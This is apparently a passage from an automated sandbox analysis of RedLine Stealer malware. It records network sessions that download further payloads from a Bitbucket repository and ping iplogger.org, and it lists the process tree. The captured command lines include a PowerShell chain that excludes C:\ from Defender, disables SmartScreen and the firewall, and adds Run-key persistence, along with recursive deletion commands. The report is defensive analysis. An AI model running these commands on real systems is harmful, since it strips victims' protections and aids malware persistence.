PKc[$S3245.txtAEX8{mzGo<!]H;fPKPKc[$S/ 3245.txt 8^r8^r8^rAEPKe]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49857	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:37 UTC	4450	OUT	GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:37:37 UTC	4450	IN	HTTP/1.1 302 Found content-security-policy-report-only: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; object-src 'none'; base-uri 'self'; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 999015.752 vary: Accept-Language, Origin x-usage-request-cost: 998.60 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: 16fff978a4b522fe x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:37:37 GMT x-usage-user-time: 0.029656 x-usage-system-time: 0.000302 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 expires: Thu, 04 Aug 2022 11:37:37 GMT x-served-by: 970fedbacb78 x-envoy-upstream-service-time: 60 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.04855203628540039 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 3355 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49858	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:38 UTC	4453	OUT	GET /tilttilttilt/test1/downloads/UpSys.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:37:38 UTC	4453	IN	HTTP/1.1 302 Found content-security-policy-report-only: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; base-uri 'self'; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 998148.354 vary: Accept-Language, Origin x-usage-request-cost: 1127.60 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: bc74561694d9b1f5 x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:37:38 GMT x-usage-user-time: 0.033828 x-usage-system-time: 0.000000 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/4cedbadc-424b-4242-93aa-1dc687b9b639/UpSys.exe?response-content-disposition=attachment%3B%20filename%3D%22UpSys.exe%22&AWSAccessKeyId=ASIA6KOSE3BNJVJZSMMY&Signature=GKG00xdlg3oygermvOEbueO%2BNz8%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDFpChqY%2B2X%2BiK6A2piK%2BAcOCwSpdg1wgDPSX5WQjUuMV1Z7amPKaPIe5PjMvfeBJMBw5AeR8g4M55fcd%2F0kTXCArPsFwKbmXsSrHAwSMRv6DU0B5vALfTsLWG1UAEdmSN9MjiwJKee3Vq5ZeBBpgPl5YhOPG3txjTiyZZKlKby6LzGxZIVE2reMrsReULEJiZjV85rcOjR4dLWEWoLJaC3%2B23R1OMfkepi23e02S%2FCK0u4K29MgaGjs4ttXi0v665%2BOmSEtss4FLxVC2W2wojN6ulwYyLXTHueXa1xySDNZ8yPRIrP0HK1T2gA%2Fvw3IsU5T5A624p2Zydq6RO6NQG84stQ%3D%3D&Expires=1659614740 expires: Thu, 04 Aug 2022 11:37:38 GMT x-served-by: b8d5e9dad23f x-envoy-upstream-service-time: 87 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.07513689994812012 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 2378 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49861	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:42 UTC	4456	OUT	GET /1fEwd7 HTTP/1.1 MySpecialHeder: whatever User-Agent: Run Cache-Control: no-cache Host: iplogger.org Connection: Keep-Alive Cookie: clhf03028ja=102.129.143.3; 305973761719766787=3
2022-08-04 11:37:42 UTC	4456	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 04 Aug 2022 11:37:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=102.129.143.3; expires=Fri, 04-Aug-2023 11:37:42 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Thu, 04 Aug 2022 11:37:42 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-04 11:37:42 UTC	4456	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49864	104.192.141.1	443	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-04 11:37:42 UTC	4456	OUT	GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bitbucket.org Connection: Keep-Alive
2022-08-04 11:37:42 UTC	4457	IN	HTTP/1.1 302 Found content-security-policy-report-only: object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com https://d301sr5gafysq2.cloudfront.net; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://d301sr5gafysq2.cloudfront.net; base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com bitbucketci-ws-service.services.atlassian.com analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net sentry.io .ingest.sentry.io bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website server: envoy x-usage-quota-remaining: 998262.066 vary: Accept-Language, Origin x-usage-request-cost: 1096.97 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: e432386d3bcce206 x-usage-output-ops: 0 x-dc-location: Micros-3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 04 Aug 2022 11:37:42 GMT x-usage-user-time: 0.032073 x-usage-system-time: 0.000836 location: https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 expires: Thu, 04 Aug 2022 11:37:42 GMT x-served-by: 6657a067b824 x-envoy-upstream-service-time: 56 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: 660cf0d861d7 x-render-time: 0.04477739334106445 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: 660cf0d861d7 x-request-count: 2805 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Target ID:	0
Start time:	13:36:18
Start date:	04/08/2022
Path:	C:\Users\user\Desktop\e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\e4.exe"
Imagebase:	0xa10000
File size:	4760524 bytes
MD5 hash:	5C371F2D51427F39D793C6DF8487346C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	12
Start time:	13:37:04
Start date:	04/08/2022
Path:	C:\Users\user\AppData\Local\Temp\TextOutputHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\TextOutputHost.exe"
Imagebase:	0x7ff633c00000
File size:	3599640 bytes
MD5 hash:	55A6D22BE09D762103AE315F97B58561
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, Virustotal, Browse Detection: 62%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	13
Start time:	13:37:07
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	13:37:17
Start date:	04/08/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Imagebase:	0x7ff619710000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	16
Start time:	13:37:18
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	19
Start time:	13:37:25
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K taskkill /IM
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	20
Start time:	13:37:29
Start date:	04/08/2022
Path:	C:\ProgramData\MicrosoftNetwork\System.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\MicrosoftNetwork\System.exe"
Imagebase:	0x7ff6ba250000
File size:	3599640 bytes
MD5 hash:	55A6D22BE09D762103AE315F97B58561
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, Virustotal, Browse Detection: 62%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	21
Start time:	13:37:29
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	22
Start time:	13:37:30
Start date:	04/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /IM
Imagebase:	0x7ff6cfb20000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	23
Start time:	13:37:30
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K taskkill /IM
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	25
Start time:	13:37:31
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	26
Start time:	13:37:32
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	27
Start time:	13:37:32
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	28
Start time:	13:37:32
Start date:	04/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /IM
Imagebase:	0x7ff6cfb20000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	29
Start time:	13:37:32
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	30
Start time:	13:37:33
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	31
Start time:	13:37:34
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7b5d10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	32
Start time:	13:37:35
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K taskkill /IM
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exePID: 2956, Parent PID: 3204

General

Target ID:	33
Start time:	13:37:37
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	34
Start time:	13:37:37
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	35
Start time:	13:37:37
Start date:	04/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /IM
Imagebase:	0x7ff6cfb20000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	36
Start time:	13:37:38
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	39
Start time:	13:37:42
Start date:	04/08/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Imagebase:	0x7ff619710000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: conhost.exePID: 6384, Parent PID: 6356

General

Target ID:	40
Start time:	13:37:42
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	41
Start time:	13:37:48
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K taskkill /IM
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exePID: 6584, Parent PID: 6576

General

Target ID:	42
Start time:	13:37:48
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	44
Start time:	13:37:49
Start date:	04/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /IM
Imagebase:	0x7ff6cfb20000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	45
Start time:	13:37:50
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K taskkill /IM
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exePID: 6736, Parent PID: 6728

General

Target ID:	46
Start time:	13:37:51
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	47
Start time:	13:37:51
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	48
Start time:	13:37:51
Start date:	04/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /IM
Imagebase:	0x7ff6cfb20000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	49
Start time:	13:37:52
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	50
Start time:	13:37:53
Start date:	04/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exePID: 6836, Parent PID: 6828

General

Target ID:	51
Start time:	13:37:53
Start date:	04/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
